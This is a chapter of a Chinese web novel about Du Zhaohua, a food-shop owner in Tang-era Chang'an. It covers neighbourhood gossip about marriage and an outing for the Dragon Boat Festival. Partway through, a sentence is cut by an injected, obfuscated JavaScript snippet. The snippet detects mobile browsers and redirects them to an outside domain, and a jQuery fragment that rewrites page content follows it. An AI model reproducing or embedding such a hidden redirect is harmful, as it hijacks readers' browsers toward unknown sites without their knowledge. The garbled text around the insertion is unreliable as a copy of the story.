“听说我们坊东杏巷的陆二娘最近正在闹着要和离，这女人呐，最怕嫁错郎。”柳大娘子略一停顿，凑近了点，压低声音说：“据说是陆二娘嫁过去三年，却无所出，夫家本意是要休妻的。” 杜昭华皱眉，“不过才三年，怎么就认定陆二娘不能生？”尤其结婚年龄普遍十几岁，这会也不过才二十出头。 柳大娘子啧啧两声，撇嘴道：“夫家是在西市开酒楼的，郎君时不时地就去胡姬酒肆，之前还想买一个胡姬回去当妾室，陆二娘没有同意，与他闹了一场，这男人呐，就是喜新厌旧，不过是寻了一个由头，就想休妻罢了。” 说完盯着杜昭华看，一把拉住她的手，严肃认真道：“杜娘子，你长得如花似玉一般，又这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906271|175263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会赚钱，可得好好找一个郎君。” 她之前见杜娘子生意好，还会心里发酸，这会儿，她已经完全没有这种想法了，就凭杜娘子的手艺，迟早会开一大酒楼的，她是无论如何也做不到的。 杜昭华没有想到听着八卦，还能聊到自己身上来，“我要为父守孝三年的，婚姻之事还不急的。” 没有想到柳大娘子比她本人还急，眉毛一扬，急道：“守孝是应该的，但是这好男儿也是有数的，等你守完三年再相看，可就晚了。” 杜昭华漫不经心道：“柳大娘子，这种事急不来的，我相信缘分，没有遇见，那就是没有缘份。”缘分什么的，不还是她说了算，总之，问就是没有缘分。 瞧杜娘子神色，便知没将此事放在心上，柳大娘子是瞧上了她，只可惜，她家儿子配不上，罢了，也不是杜娘子的长辈，思及此，愈发怜惜起她来，还是一个刚及芨的小娘子，身边连一个长辈都没有了。 柳大娘子暗想，她得帮忙打听打听有没有什么好儿郎，可不能被骗了。 又忙着做了两日粽子后，端午节到了。 杜昭华拎着食盒，临出门前再次问了一遍，“你们真的不去看吗？” 两人齐齐摇头，皆表示赚钱更重要，少做一天，就少挣了一天的钱，她们可是知道娘子打算去宣阳坊买铺子的，那的铺子可贵了。 要让杜昭华来说，钱的确重要，但是吃喝玩乐也重要，以前的她还可以去旅行，来到古代，就只能是自己找乐子了。 宋琬早就在门口等着了，杜昭华行至马车前，瞥见宋君衍正骑在旁边的马上，他身穿青色官袍，脊背挺拔，垂眸沉思时，自带官威气场。 听见动静，宋君衍侧头看去，眉梢微扬，翻身下马道：“杜娘子，端午安康。” 杜昭华莞尔一笑：“宋县尉，端午安康。” 宋琬撩起车帘探出头，见到杜昭华，只觉眼前一亮，欣喜道：“杜姐姐，快上车来。” 车上，宋琬笑言：“杜姐姐今日这身打扮甚是好看，花纹样式也挺别致。”海青色圆领窄袖襦衫，下着荷花白多破裙，深色襦衫愈发显得杜姐姐肤如凝脂，冰肌玉骨。 杜昭华之前常穿胡服，无他，胡服是“上衣下裤”，她觉得穿胡服便于行动，就算穿襦裙，颜色也是淡雅为主，都是原主喜欢的。 最近天热，胡服的面料较为厚实，她便翻出些好看的料子，找绣娘做了几套衣裙，多为罗纱材质，夏天穿还是比较凉快的。 “那绣娘是从江南来的，就住在食肆对面那条街街尾，她画的好些个花样子都还不错的。”搬来安邑坊没几月，还是柳大娘子介绍给她的。 宋琬展颜一笑：“杜姐姐本就姿色过人，好看的衣裳不过是锦上添花罢了。” 啧啧啧，这甜言蜜语，张口就来，但是杜昭华爱听，“阿琬英姿飒爽，文能作诗，武能骑射，才叫我好生羡慕。” 两人对视一眼，都不由笑出声来。 说到骑射，宋琬盈盈一笑：“等过两个月，我带杜姐姐去东郊马场跑马，还可以看马球赛。”